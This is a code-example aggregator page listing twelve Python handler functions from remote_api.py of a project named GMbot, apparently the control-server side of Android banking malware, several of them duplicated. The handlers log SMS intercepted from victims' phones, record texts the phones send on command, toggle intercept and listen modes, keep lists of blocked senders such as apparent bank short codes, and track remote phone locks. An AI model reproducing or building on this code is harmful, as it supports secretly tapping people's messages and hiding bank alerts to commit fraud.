コード例 #1
0
def intercepted_sms_in(rec, data):
    """
    Records incoming tapped SMS
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    logger.debug("Received incoming intercepted SMS for phone {0}".format(rec))
    if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_INTERCEPT:
        logger.warn("The phone {0} is not intercepting")
    rec_owner = rec.owner
    if rec_owner:
        rec_owner.save()
    sms_from = data.get('from')
    sms_text = data.get('text')
    check_sender(rec.uniq_id, sms_from)
    sms_owner = rec_owner if isinstance(rec_owner, models.SysUser) else None
    obj = models.SMSRecord.objects.create(source=sms_from, contents=sms_text, phone=rec, owner=sms_owner,
                                          intercepted=True)
    if rec_owner:
        msg = {
            'info': "Intercepted SMS from {0}".format(sms_from),
            'sms': {'from': sms_from, 'to': 'n/a', 'text': sms_text, 'id': obj.id},
        }
        sys_messages.add_message(rec.uniq_id, msg)
コード例 #2
0
def intercept_status_change(rec, data):
    """
    Signals that the phone has changed its intercept status in reply to #intercept_sms_start & #intercept_sms_stop
    data."rent status" contains either "started" or "stopped"
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    if rec.owner_id is None:
        logger.error("No owner for phone {0} currently".format(rec))
        return
    new_status = data.get('rent status')
    owner = rec.owner
    if new_status == "started":
        rec.sms_status = models.PhoneData.SMS_INTERCEPT
        rec.save()
    elif new_status == "stopped":
        rec.owner = None
        rec.sms_status = models.PhoneData.SMS_INITIAL
        rec.save()
    commands.set_phone_transient_state(rec.uniq_id, commands.PHONE_STATE_STABLE)
    msg = {
        'info': "Phone {0} SMS intercept {1}".format(rec, new_status),
        'imei': rec.imei
    }
    logger.debug("Phone {0} status changed to {1}".format(rec, new_status))
    sys_messages.add_message(rec.uniq_id, msg)
コード例 #3
0
def send_sms_response(rec, data):
    """
    Returns data from #send_sms command
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    if rec is None:
        return
    sms_to = data.get('number')
    sms_text = data.get('text')
    sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None
    obj = models.SMSRecord.objects.create(dest=sms_to,
                                          contents=sms_text,
                                          phone=rec,
                                          owner=sms_owner)
    msg = {
        'info': "Phone {0} sent SMS to {1}".format(rec, sms_to),
        'sms': {
            'from': 'n/a',
            'to': sms_to,
            'text': sms_text,
            'id': obj.id
        }
    }
    sys_messages.add_message(rec.uniq_id, msg)
コード例 #4
0
def intercepted_sms_out(rec, data):
    """
    Records outgoing tapped SMS
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_INTERCEPT:
        logger.warn(u"The phone {0} is not intercepting")
    sms_to = data.get('to')
    sms_text = data.get('text')
    sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None
    obj = models.SMSRecord.objects.create(dest=sms_to,
                                          contents=sms_text,
                                          phone=rec,
                                          owner=sms_owner,
                                          intercepted=True)
    msg = {
        'info': "Intercepted SMS to {0}".format(sms_to),
        'sms': {
            'from': 'n/a',
            'to': sms_to,
            'text': sms_text,
            'id': obj.id
        }
    }
    sys_messages.add_message(rec.uniq_id, msg)
コード例 #5
0
def listened_sms_in(rec, data):
    """
    Records incoming intercepted SMS
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_LISTEN:
        logger.warn(u"The phone {0} is not listening".format(rec))
    sms_from = data.get('from')
    sms_text = data.get('text')
    check_sender(rec.uniq_id, sms_from)
    sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None
    obj = models.SMSRecord.objects.create(source=sms_from,
                                          contents=sms_text,
                                          phone=rec,
                                          owner=sms_owner)
    msg = {
        'info': "Got SMS from {0}".format(sms_from),
        'sms': {
            'from': sms_from,
            'to': 'n/a',
            'text': sms_text,
            'id': obj.id
        }
    }
    sys_messages.add_message(rec.uniq_id, msg)
コード例 #6
0
def unblock_all_numbers_response(rec, data):
    """
    Returns data from #unblock_all_numbers command
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    rec.blockednumber_set.all().delete()
    msg = {
        'info': "Unblocked all numbers for phone {0}".format(rec),
        'cleared_blocked': True
    }
    sys_messages.add_message(rec.uniq_id, msg)
コード例 #7
0
def lock_status(rec, data):
    """
    Handles the lock status callback
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    rec.locked = (data.get('status') == 'locked')
    rec.save()
    msg = {
        'info': "Phone {0} is {1}".format(rec, data.get('status')),
        'code': rec.uniq_id,
        'locked': rec.locked
    }
    sys_messages.add_message(rec.uniq_id, msg)
コード例 #8
0
ファイル: remote_api.py プロジェクト: 0x00dec0de/GMbot
def send_sms_response(rec, data):
    """
    Returns data from #send_sms command
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    if rec is None:
        return
    sms_to = data.get('number')
    sms_text = data.get('text')
    sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None
    obj = models.SMSRecord.objects.create(dest=sms_to, contents=sms_text, phone=rec, owner=sms_owner)
    msg = {
        'info': "Phone {0} sent SMS to {1}".format(rec, sms_to),
        'sms': {'from': 'n/a', 'to': sms_to, 'text': sms_text, 'id': obj.id}
    }
    sys_messages.add_message(rec.uniq_id, msg)
コード例 #9
0
def blocking_numbers_response(rec, data):
    """
    Returns data from #block_numbers & #unblock_numbers commands
    as in 	"numbers" : ["+7921123123", "sms_info", "tcs"] - current numbers we block
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    # clear all blocked number record first
    rec.blockednumber_set.all().delete()
    blocked = {}
    for n in data.get('numbers'):
        r = models.BlockedNumber.objects.create(phone=rec, number=n)
        blocked[r.id] = n
    msg = {
        'info': "Blocked numbers list updated at phone {0}".format(rec),
        'blocked': blocked
    }
    sys_messages.add_message(rec.uniq_id, msg)
コード例 #10
0
ファイル: remote_api.py プロジェクト: 0x00dec0de/GMbot
def intercepted_sms_out(rec, data):
    """
    Records outgoing tapped SMS
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_INTERCEPT:
        logger.warn("The phone {0} is not intercepting")
    sms_to = data.get('to')
    sms_text = data.get('text')
    sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None
    obj = models.SMSRecord.objects.create(dest=sms_to, contents=sms_text, phone=rec, owner=sms_owner,
                                          intercepted=True)
    msg = {
        'info': "Intercepted SMS to {0}".format(sms_to),
        'sms': {'from': 'n/a', 'to': sms_to, 'text': sms_text, 'id': obj.id}
    }
    sys_messages.add_message(rec.uniq_id, msg)
コード例 #11
0
ファイル: remote_api.py プロジェクト: 0x00dec0de/GMbot
def listened_sms_in(rec, data):
    """
    Records incoming intercepted SMS
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_LISTEN:
        logger.warn("The phone {0} is not listening".format(rec))
    sms_from = data.get('from')
    sms_text = data.get('text')
    check_sender(rec.uniq_id, sms_from)
    sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None
    obj = models.SMSRecord.objects.create(source=sms_from, contents=sms_text, phone=rec, owner=sms_owner)
    msg = {
        'info': "Got SMS from {0}".format(sms_from),
        'sms': {'from': sms_from, 'to': 'n/a', 'text': sms_text, 'id': obj.id}
    }
    sys_messages.add_message(rec.uniq_id, msg)
コード例 #12
0
def listen_status_change(rec, data):
    """
    Signals that the phone has changed its listen status in reply to #listen_sms_start & #listen_sms_stop
    data."listening status" contains either "started" or "stopped"
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    new_status = data.get('listening status')
    owner = rec.owner
    if new_status == "started":
        rec.sms_status = models.PhoneData.SMS_LISTEN
        rec.save()
    elif new_status == "stopped":
        rec.owner = None
        rec.sms_status = models.PhoneData.SMS_INITIAL
        rec.save()
    msg = {
        'info': "Phone {0} SMS listening {1}".format(rec, new_status),
        'imei': rec.imei
    }
    sys_messages.add_message(rec.uniq_id, msg)